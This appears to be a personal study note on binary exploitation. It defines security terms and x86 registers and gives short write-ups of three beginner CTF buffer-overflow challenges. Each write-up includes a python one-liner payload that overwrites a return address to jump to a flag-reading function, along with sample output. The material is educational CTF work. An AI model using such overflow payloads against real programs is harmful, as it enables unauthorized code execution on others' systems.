

Binary Exploitation Journey

b0th

May 25, 2020

1 Terms

1.1 Technicals

ASLR (Address Space Layout Randomization) Security measure in modern OSes to randomize stack and libc addresses on each program execution.

Binary A binary is the output file from compiling a C or C++ file. Anything in the binary has a constant address (usually... see PIE.)

Canary A canary is some (usually random) value that is used to verify that nothing has been overwritten. Programs may place canaries in memory, and check that they still have the exact same value after running potentially dangerous code, verifying the integrity of that memory.

GOT (Global Offset Table) The GOT is a table of addresses stored in the data section of memory. Executed programs use it to look up the runtime addresses of global variables that are unknown at compile time.

Heap The heap is a far more reliable memory space similar to the stack. However, usage of the heap has to be invoked by the coder, so heap problems are often their own category of exploitation

NX (Non-Executable) Security measure in modern OSes to separate processor instructions (code) and data (everything that's not code.) This prevents memory from being both executable and writable.

PIE (Position Independent Executable) Essentially ASLR, but for the binary itself. When this protection is enabled, locations of actual code in the binary are randomized.

PLT (Procedure Linkage Table) The PLT is essentially a wrapper function for all functions directly called in the binary. Only used in dynamically linked binaries.

ROP (Return Oriented Programming) Reusing tiny bits of code throughout the binary to construct commands we want to execute.

Stack The stack is part of the memory for a binary. Local variables and pointers are often stored here. The stack can be randomized.

1.2 Generals

Arbitrary This word is used to imply the fullness of control that you might have given an exploit. If you've achieved arbitrary code execution, that means you can run, read, or write whatever commands you choose.

Reliable Reliable in the context of binary exploitation is almost exactly the same as regular use. An exploit is said to be reliable if it works across different runs consistently. It might seem dumb to define this work, but sometimes with exploits you will only have the option to make an unreliable exploit.

2 Registers

Processor operations mostly involve processing data. This data can be stored in memory and accessed from thereon. However, reading data from and storing data into memory slows down the processor, as it involves complicated processes of sending the data request across the control bus and into the memory storage unit and getting the data through the same channel.

Register Internal memory storage location

The registers store data elements for processing without having to access the memory. A limited number of registers are built into the processor chip.

3 General Registers

This sort of register is divided into 3 groups:

- **Data** registers
- **Pointer** registers
- **Index** registers

3.1 Data Registers

Accumulator $(AH(8 \text{ bits}) + AL(8 \text{ bits})) \in AX(16 \text{ bits}) \in EAX(32 \text{ bits})$

Base $(BH(8 \text{ bits}) + BL(8 \text{ bits})) \in BX(16 \text{ bits}) \in EBX(32 \text{ bits})$

Counter $(CH(8 \text{ bits}) + CL(8 \text{ bits})) \in CX(16 \text{ bits}) \in ECX(32 \text{ bits})$

Data $(DH(8 \text{ bits}) + DL(8 \text{ bits})) \in DX(16 \text{ bits}) \in EDX(32 \text{ bits})$

Usage: Arithmetic, logical and operations

3.2 Pointer Registers

todo...

4 Experiences

flag.txt content \rightarrow "b0th".

4.1 Buffer Overflow 0

Links: [Binary Source](#)

To solve this challenge, just understand that in this program the segmentation fault calls the *sigsegv_handler* function that reads the content of *flag.txt*.

```
./vuln $(python -c "print 'A'*30")
b0th
```

4.2 Buffer Overflow 1

Links: [Binary Source](#)

We have buffer size of 32 bytes, and we want to jump to the win function. This program is using *gets()* which is dangerous because it doesn't check the string length. So we know it will be easier to overwrite the return address of *vuln()* function.

win() address: 0x080485cb

This function reads *flag.txt* too.

```
python -c "print 'A'*44 + '\xcb\x85\x04\x08'" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
b0th
Erreur de segmentation
```

4.3 Overflow 1

Links: [Binary Source](#)

Same format as **Buffer Overflow 1**. We want to overwrite the *vuln()*'s return address and we want to jump to *flag()*.

flag() address: 0x080485e6

```
python -c "print 'A'*76+'\xe6\x85\x04\x08'" | ./vuln
Give me a string and let's see what happens:
Woah, we're jumping to 0x80485e6 !
b0th
Erreur de segmentation
```

5 Notes

1. Segmentation fault means it tried to access an address that doesn't even exist.
2. However, *vuln()* needs to know where to return to in *main()* when it finishes. This is called a return address. It is supposed to go to the instruction right after *main()* calls *vuln()*. When we get a segmentation fault, that means that we've overwritten the return address. Representation of a stack part from a vuln program using *strcpy()* function:

```
0x080484f2 <+16>:  mov
0x080484f5 <+19>:  call 0x8048360 <strcpy@plt>
0x080484fa <+24>:  leave
0x080484fb <+25>:  ret
```

If we don't overwrite the return address, basically it will get back into *main()*.

3. A character seems to be stored in a byte (octet).
4. Always check if PIE is enabled. If it's not, it will be way easier.